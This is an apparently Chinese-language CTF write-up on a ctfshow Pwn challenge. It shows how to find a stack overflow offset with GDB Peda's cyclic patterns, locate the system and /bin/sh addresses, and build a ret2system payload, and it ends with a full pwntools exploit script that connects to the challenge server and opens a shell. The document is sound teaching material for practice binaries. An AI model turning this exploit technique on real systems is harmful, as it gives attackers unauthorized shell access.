别光看IDA了!用GDB Peda动态调试快速定位Ctfshow Pwn题栈溢出点(附Python3 exploit脚本)
别光看IDA了!用GDB Peda动态调试快速定位Ctfshow Pwn题栈溢出点(附Python3 exploit脚本)
在CTF比赛中,Pwn题往往需要选手通过漏洞利用获取目标系统的控制权。对于初学者来说,静态分析工具IDA Pro虽然强大,但单纯依赖它往往难以快速定位漏洞点并构造有效的攻击载荷。本文将介绍如何结合GDB Peda动态调试技术,快速定位栈溢出点并完成漏洞利用,同时提供完整的Python3 exploit脚本。
1. 动静态分析结合的必要性
静态分析工具如IDA Pro能够帮助我们快速理解程序的结构和逻辑,但它在实际漏洞利用过程中存在局限性。动态调试则能让我们观察程序运行时的真实状态,验证静态分析的假设,并快速调整攻击策略。
动静态结合的优势:
- 验证静态分析结果
- 观察运行时内存布局
- 快速定位关键偏移量
- 实时测试攻击载荷有效性
提示:在实际CTF比赛中,时间就是分数。动静态结合的工作流能显著提高解题效率。
2. 环境准备与基础检查
在开始调试前,我们需要对目标程序进行基础检查,了解其保护机制和架构信息。
2.1 检查文件属性
file stack输出示例:
stack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped2.2 检查安全机制
checksec --file=stack典型输出:
| 保护机制 | 状态 |
|---|---|
| CANARY | disabled |
| NX | disabled |
| PIE | disabled |
| RELRO | Partial |
从检查结果可以看出,这是一个32位程序,且大部分保护机制都未开启,适合作为栈溢出漏洞的练习目标。
3. 使用GDB Peda进行动态调试
GDB Peda是GDB的一个增强插件,提供了许多实用的漏洞利用辅助功能。
3.1 启动调试会话
gdb -q ./stack3.2 使用cyclic模式计算偏移量
gdb-peda$ pattern create 200 gdb-peda$ run当程序因输入过长而崩溃时,观察崩溃时的EIP值:
gdb-peda$ pattern offset $eip输出示例:
Found at offset: 13这个偏移量告诉我们,在输入13个字节后,接下来的4个字节将覆盖返回地址。
3.3 验证偏移量
payload = b'A'*13 + b'BBBB'如果程序在0x42424242('BBBB'的ASCII码)处崩溃,说明偏移量计算正确。
4. 定位关键地址
4.1 寻找system和/bin/sh
在IDA中,我们可以使用以下方法定位关键地址:
- 按Shift+F12查看字符串
- 搜索"/bin/sh"
- 右键选择跳转到引用
- 记录下地址
假设我们找到了以下关键地址:
| 符号 | 地址 |
|---|---|
| system | 0x804850F |
| /bin/sh | 0x804A024 |
4.2 构造ROP链
对于32位程序,典型的栈溢出利用需要构造如下栈布局:
[填充字符][返回地址][参数]具体到我们的例子:
payload = b'A'*13 # 填充 payload += p32(0x804850F) # system地址 payload += p32(0xdeadbeef) # 返回地址(不重要) payload += p32(0x804A024) # /bin/sh地址5. 编写Python3 exploit脚本
使用pwntools库可以简化漏洞利用过程:
from pwn import * context.log_level = 'debug' # 连接远程服务 p = remote("pwn.challenge.ctf.show", 28053) # 构造payload payload = b'A'*13 payload += p32(0x804850F) # system地址 payload += p32(0xdeadbeef) # 伪返回地址 payload += p32(0x804A024) # /bin/sh地址 # 发送payload p.sendline(payload) # 切换到交互模式 p.interactive()6. 常见问题与调试技巧
6.1 地址对齐问题
有时由于栈对齐问题,system调用可能会失败。可以尝试在payload中添加额外的4字节填充:
payload = b'A'*13 payload += p32(0x804850F) payload += p32(0xdeadbeef) payload += p32(0xdeadbeef) # 额外填充 payload += p32(0x804A024)6.2 调试技巧
- 使用
gdb.attach(p)在脚本中自动附加GDB调试器 - 设置
context.terminal = ['tmux', 'splitw', '-h']以便在tmux中分屏调试 - 使用
cyclic_find()函数自动计算偏移量
7. 进阶:自动化exploit开发
对于更复杂的漏洞利用,可以考虑使用ROPgadget工具自动生成ROP链:
ROPgadget --binary ./stack --ropchain然后将生成的ROP链整合到exploit脚本中。这种方法特别适用于开启了NX保护的程序。
在实际CTF比赛中,我发现最有效的策略是先通过静态分析理解程序逻辑,然后用动态调试快速验证假设。记住,GDB的watch命令可以设置内存断点,对于跟踪特定变量的变化非常有用。
